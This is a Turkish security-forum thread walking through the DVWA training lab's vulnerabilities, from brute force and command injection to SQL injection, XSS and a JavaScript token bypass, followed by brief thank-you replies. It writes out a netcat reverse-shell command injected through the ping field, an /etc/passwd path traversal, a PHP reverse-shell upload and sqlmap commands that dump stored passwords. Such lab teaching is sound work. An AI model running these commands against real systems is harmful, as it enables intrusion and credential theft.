THT DUYURU

 
 
Siber Güvenlik Siber Güvenlik ile alakalı araçların kullanımı, bilgi paylaşımı ve siber güvenlik eğitimi ile ilgili kaynakların paylaşıldığı alanımızdır.

Seçenekler

Tüm Çözümleriyle DVWA

AdaletinKILICI - ait Kullanıcı Resmi (Avatar)
Anka Red Team Junior
Üyelik tarihi:
09/2019
Mesajlar:
199
Konular:
30
Teşekkür (Etti):
215
Teşekkür (Aldı):
214
Ticaret:
(0) %
8
1507
20-12-2020 13:24
#1
Selamın aleyküm arkadaşlar. Bu yazımızda bi web açık labaratuvarı olan dvwa’yı inceleyip içindeki açıkları bypasslayacağız
Hazırsanız başlayalım.
DVWA Nedir?

DVWA web uygulama güvenliği alanında kendini geliştirmek isteyenlerin kullandığı, içerisinde web güvenlik açıklarını barındıran bir labaratuvardır.

DVWA’nın İçinde Hangi Açıklar Mevcut?

  • Brute Force
  • Command Injection
  • CSRF
  • File Inclusion
  • File Upload
  • SQL Injection
  • SQL Injection(Blind)
  • XSS(Dom)
  • XSS(Reflected)
  • XSS(Stored)
  • JavaScript


Gördüğünüz gibi birçok açığı içerisinde barındırıyor
Not: DVWA’nın kurulumunu anlatmayacağım. Kendiniz kolayca kurabilirsiniz.

1-Brute Force


Ve gelelim ilk açığımıza. Brute Force türkçe karşılığıyla kaba kuvvet saldırısı demektir. Brute Force sekmesine geldiğimiz zaman karşımızı resimdeki gibi bir yer çıkıyor:



Şimdi bizim buraya girdiğimiz değerleri bi şekilde yakalamamız lazım ki elimizdeki değerleri oraya deneyebilelim. Biraz düşününce aklımıza burp suite geliyor ve hemen açıyoruz.



Şimdi de tarayıcımızın burp suite ile veri alış-verişi yapabilmesi için tarayıcı ayarlarımızı yapalım.



Buradan preferences sekmesine geliyoruz. Sonra ise



Network Settings ayarlarını buluyoruz. Açıp ayarları şu şekilde dolduruyoruz



Evet böylece tarayıcı ayarlarımızı da yapmış olduk. Şimdi brute force kısmına yeniden bir şey deneyelim



Login butonuna bastığımız anda burp suitein yakaladığını görürüz.



Bunu yakaladıktan sonra brute force yapabilmek için sağ tıklayıp send to Intruder e tıklıyoruz. Böylece yakalanan veriler Intruder sekmesine taşınmış oldu.



Sağ taraftaki clear butonuna basarak seçilen değerleri siliyoruz. Sonra url deki kullanıcı adı ve şifreyi seçip add butonuna basıyoruz.



Artık devam edebiliriz. Attack type’ı Cluster Bomb seçip payloads sekmesine geçiyoruz. Payload set 1 seçili iken (yani username kısmı) load butonuna basıp wordlistimizi içeri aktarıyoruz. Aynı şeyi payload set 2 de iken de yapıyoruz.




Daha sonra sağ üst köşedeki start attack butonuna basıp saldırıyı başlatıyoruz. Uyarı gelirse OK deyip devam edebilirsiniz. Ve böylelikle brute force başlamış oldu.



Saldırımız bittikten sonra kontrol etmemiz gereken kısım length yani gelen verinin uzunluğu. Burada farklı uzunlukta bir veri görürsek kullanıcı adı ve şifreyi bulmuş oluruz. Ve gördüğünüz gibi bizim length lerden biri farklı.



Şimdi bu verileri ilgili alana yazalım ve doğruluğunu teyit edelim.



Ve evet. Gördüğünüz gibi doğru verileri bulduk. Bir yere nasıl Brute Force yapıldığını öğrendiniz. Şimdi diğer bi açığımız olan Command Injection a geçelim.

2-Command Injection

İlk olarak command injectionun tanımını yapalım. Command injection bulunduğu yerde sistem komutları çalıştırmamıza olanak tanıyan bir zafiyettir. DVWA’da ilgili alana geldiğimiz zaman bizden bir ip istediğini görüyoruz. Yazdığımız zaman ise



Girilen ip ye ping attığını görüyoruz. Şimdi de biraz kodunu inceleyelim.



Gördüğünüz gibi kodda ping den sonra girilen veriyi çalıştırmış. Yani biz ip girmek yerine & özel karakterinden sonra bi sistem komudu çalıştırabiliriz. Benim labaratuvarım Windows da kurulu olduğu için ben “dir” yazarak dizini listelettim. Siz linux’a kurduysanız “ls” yazabilirsiniz.



Peki böyle sistem komutlarını çalıştırabiliyoruz. Ama biz terminalde oturum açmak istersek ne yapacağız? İlk olarak kendi terminalimizden
Kod:
nc -lvp 1234
komudu ile 1234 nolu portu dinlemeye alacağız. Sonra ise command injection bulunan yere gelip
Kod:
nc 192.168.245.1 1234 -e /bin/bash
komutunu yazıyoruz. Siz kendi ipnizi yazmayı unutmayın Böylece terminalde oturum açmış oluruz.

3-CSRF

CSRF açığı genellikle parola değişim yerlerinde olur. Parolamızı değiştirdiğimizde url de parola gözüküyor ise bu açık vardır. Şimdi ilgili alana herhangi bir şifre yazalım.



Ve gördüğünüz gibi url de şifremiz görünüyor. Burada görünen şifreleri değiştirip bir admine sosyal mühendislik yolu ile tıklatabilirsek adminin şifresi bizim girdiğimiz şifreler olacaktır. Böylece o hesapta artık bizim olmuş olacaktır.

4-File Inclusion

Bu açığın bulunduğu yerde sistemdekş dosyaları okuyabiliriz. Yani yetkimizin olduklarını. Genellikle urllerin sonunda “index.php?page=about.php” şeklinde olur. Bu sadece bi örnek yani siz bunu çeşitlendirebilirsiniz. Her neyse ilgili alana geldiğimiz zaman urlde “?page=include.php” gibi bi parametre görüyoruz.



Eğer bu include.php yi silip “../brute/index.php” yazarsak ilk açığımızın bulunduğu sayfaya gideceğiz.



Bu açıkta böyle geçiliyor. Bu açık sayesinde linux sistemlerde passwd dosyası okunabilir. “../../../../../../../../../../../etc/passwd” yazarak okuyabilirsiniz. Fazla “../” zarar gelmez Çünkü ana dizine geldikten sonra başka bi yere gidemediğimiz için aynı yerde kalmış oluruz. Şimdi diğer açığımıza geçelim.

5-File Upload

Sitelerdeki upload kısımlarında görülür. Bu açık sayesinde siteye Shell upload edilip içeri sızılabilir. Şimdi deneyelim. İlk olarak bağlantı almak için
Kod:
nc -lvp 1234
komutu ile 1234 nolu portu dinlemeye alacağız.



Sonrasında ise kali linuxda bulunan php reverse shell’i düzenleyip siteye yükleyeceğiz. Shell’i bulmak için terminale “locate webshell” yazabilirsiniz. Önünüze birçok Shell çıkacaktır. Her neyse Shell i seçtikten sonra upload butonuna basıyoruz. Ve resimde gördüğünüz gibi upload edildi.



Şimdi ise gösterilen konuma giderek terminale bağlantının gelmesini sağlayabiliriz.

6-SQL Injection

İlk olarak sql injection kısmındaki user id yerine “ ‘ “(tek tırnak) koyarak zafiyetin mevcut olup olmadığına bakalım.



Resimde de gördüğünüz gibi hatamızı aldık. Yani burada sql injection açığı mevcut. Şimdi user id kısmına sql bypass kodları yazarak veritabanındaki userları listelemeye çalışacağız. SQL bypass kodlarını internette aratarak rahatça bulabilirsiniz.



Gördüğünüz gibi denediğimiz bypass kodu sayesinde veritabanındaki kullanucuları çekmiş olduk. Şimdi ise SQL Injection(Blind)’e geçelim.

7-SQL Injection(Blind)

Bu sql ınjection türü yukarıda anlatılandan biraz daha farklı. Çünkü bu açık verileri ekrana yazdırmıyor. User id kısmına yine bir bypass kodu yazdığımızda bize bu id nin veritabanında var olduğunu söylüyor. Yani açığımız mevcut.



Peki biz buradaki verileri nasıl çekeceğiz? Yine burp suite kullanacağız. Burp süite açıyoruz ve gerekli ayarları yapıyoruz. Nasıl yapıldığını Brute Force açığını anlattığım kısımda bulabilirsiniz. Açtıktan sonra bypass kodumuzu yazıp submit butonuna basıyoruz. Böylelikle burp süite yakalamış oldu. Daha sonra yakalanan veriye sağ tıklayıp copy to file seçeneğine tıklıyoruz.



Burda dikkat etmeniz gereken kısım dosyayı kaydederken uzantısını “.hed” olarak kaydetmek. Kaydettikten sonra sqlmap aracına geçebiliriz.
Kod:
sqlmap -r sql.hed --dbs
komutu ile veritabanlarımızı öğreniyoruz.



Daha sonra
Kod:
sqlmap -r sql.hed -D dvwa
--tables komutu ile tabloları alıyoruz.



Sonra ise
Kod:
sqlmap -r sql.hed -D dvwa -T users --columns
komutu ile de kolonları çekiyoruz.



Artık verileri çekme vakti geldi.
Kod:
sqlmap -r sql.hed -D dvwa -T users -C user,password --dump
komutu ile de verileri çekiyoruz.



Böylece kullanıcı adı ve şifreleri elde etmiş olduk.

8-XSS(DOM)

XSS açığı bulunduğu yerde html ve javascript kodları çalıştırmamıza olanak tanıyan bir açıktır. Bu xss örneğimize gelince bi seçim ekranı görüyoruz. English seçip butona tıklayınca url de “default=English” yazısını görüyoruz. Buradaki English yazısının yerine javascript kodu yazdığımızda çalıştığını görürüz.



Gördüğünüz gibi ekrana “1” yazısını yazdırdı.

9-XSS(REFLECTED)

Bu xss türü ise daha çok arama kutuları gibi yerlerde görülür. Herhangi bir şey yazdığımız zaman bir çıktı alıyoruz.



Gördüğünüz gibi. Şimdi gelin bir de kaynak koduna bakalım.



Gördüğünüz gibi root yazısını direkt olarak koda dahil etmiş. Yani burada xss açığı mevcut. XSS kodumuzu yazdığımız zamanda olduğunu teyit edebiliriz.



Şimdi diğer bi xss türümüze geçelim.

10-XSS(STORED)

Daha çok yorum kısımlarında bulunan bi xss türüdür. Bildiğiniz üzere yorumlar da veritabanına kaydedildiği için bizim xss kodlarımızda kaydedilecek Şimdi xss payloadımızı yazalım ve yollayalım.



Yolladığımız zaman ekranda “1” yazısını görürüz. Peki bunun ne farkı var reflected den? Sayfayı değiştirin ve aynı sayfaya geri gelin anlayacaksınız Veritabanına kaydedildiği için sayfayı her açışımızda karşımıza “1” yazısı çıkacaktır. Ta ki biz onu silene kadar.

11-JavaScript

Şimdi de karşımızda “success” yazın denilen bi alan var. Fakat biz success yazdığımız zaman hatalı token uyarısı alıyoruz.



Kodunu incelediğimiz zaman ise generate_token adında bi fonksiyon olduğunu görüyoruz.



Peki şimdi ne yapacağız? İlk olarak verilen alana success yazıyoruz. Ama butona basmıyoruz. Daha sonra ise inceleme panelini açıp console sekmesine geçiyoruz.



generate_token() yazarak fonksiyonumuzu çağırıyoruz. Sonra ise success yazdığımız kısımdaki butona tıklıyoruz. Ve gördüğünüz gibi token hatasını başarılı bir şekilde atlattık.



Bitiş


Evet arkadaşlar bu yazımızın sonuna geldik. Umarım size birşeyler katabilmişimdir. Emek verip hazırladım. Sizden de bi teşekkür istiyorum Kolay gelsin…
Sort - ait Kullanıcı Resmi (Avatar)
Heyk Meyk Yok
Üyelik tarihi:
10/2019
Yaş:
19
Mesajlar:
987
Konular:
33
Teşekkür (Etti):
166
Teşekkür (Aldı):
557
Ticaret:
(0) %
20-12-2020 13:28
#2
Evet DWA Çok İyi Bir Test Aracı.Konunuzu Çok Beğendim.Ellerinize Sağlık
- Teşekkür etti.
HackerPluss - ait Kullanıcı Resmi (Avatar)
Katılımcı Üye
Üyelik tarihi:
11/2020
Nereden:
THT Toprağı
Mesajlar:
661
Konular:
60
Teşekkür (Etti):
254
Teşekkür (Aldı):
544
Ticaret:
(0) %
20-12-2020 13:36
#3
DWA Alanında İyi Testler Yapılabilir.



Ellerine Sağlık Resimlerle Desteklemen İyi Olmuş.



Genellikle Bu tür Konular Bir kaç gifle veya Sade Yazıyla Açıklanıyor.



Ellerine Sağlık Tekrardan ...
---------------------


Türk'ün Çığlığı Dünyayı Sarsacak!

Konu HackerPluss tarafından (21-12-2020 13:45 Saat 13:45 ) değiştirilmiştir.
- Teşekkür etti.
AdaletinKILICI - ait Kullanıcı Resmi (Avatar)
Anka Red Team Junior
Üyelik tarihi:
09/2019
Mesajlar:
199
Konular:
30
Teşekkür (Etti):
215
Teşekkür (Aldı):
214
Ticaret:
(0) %
20-12-2020 13:41
#4
Değerli yorumlarınız için teşekkürler
- Teşekkür etti.
GECE' - ait Kullanıcı Resmi (Avatar)
Saldırı Timleri Direktör Yrd.
Üyelik tarihi:
02/2016
Nereden:
Meterpreter
Mesajlar:
2.338
Konular:
187
Teşekkür (Etti):
2911
Teşekkür (Aldı):
2433
Ticaret:
(0) %
20-12-2020 14:33
#5
Eline koluna sağlık
- Teşekkür etti.
'Chan - ait Kullanıcı Resmi (Avatar)
Moderatör
Üyelik tarihi:
04/2020
Nereden:
Shibuya
Mesajlar:
1.440
Konular:
65
Teşekkür (Etti):
836
Teşekkür (Aldı):
576
Ticaret:
(0) %
20-12-2020 14:36
#6
Elinize sağlık. Ortalarsanız ve renklendirme yaparsanız daha hoş gözükecektir.
---------------------
- Teşekkür etti.
AdaletinKILICI - ait Kullanıcı Resmi (Avatar)
Anka Red Team Junior
Üyelik tarihi:
09/2019
Mesajlar:
199
Konular:
30
Teşekkür (Etti):
215
Teşekkür (Aldı):
214
Ticaret:
(0) %
20-12-2020 14:49
#7
Alıntı:
lGECEGEZENl´isimli üyeden Alıntı Mesajı göster
Eline koluna sağlık
Teşekkürler hocam
- Teşekkür etti.
AdaletinKILICI - ait Kullanıcı Resmi (Avatar)
Anka Red Team Junior
Üyelik tarihi:
09/2019
Mesajlar:
199
Konular:
30
Teşekkür (Etti):
215
Teşekkür (Aldı):
214
Ticaret:
(0) %
20-12-2020 14:51
#8
Alıntı:
VATANİÇİN´isimli üyeden Alıntı Mesajı göster
Elinize sağlık. Ortalarsanız ve renklendirme yaparsanız daha hoş gözükecektir.
Tavsiyeniz için teşekkürler. Bu ilk açtığım konu olduğu için pek renklendiremedim. Bi dahakilerine inşallah
- Teşekkür etti.
The Serum - ait Kullanıcı Resmi (Avatar)
Anka Underground (Çaylak)
Üyelik tarihi:
01/2018
Nereden:
/etc/shadow
Mesajlar:
89
Konular:
16
Teşekkür (Etti):
20
Teşekkür (Aldı):
29
Ticaret:
(0) %
20-12-2020 19:01
#9
Güzel konu olmuş hocam. Elinize sağlık.
- Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler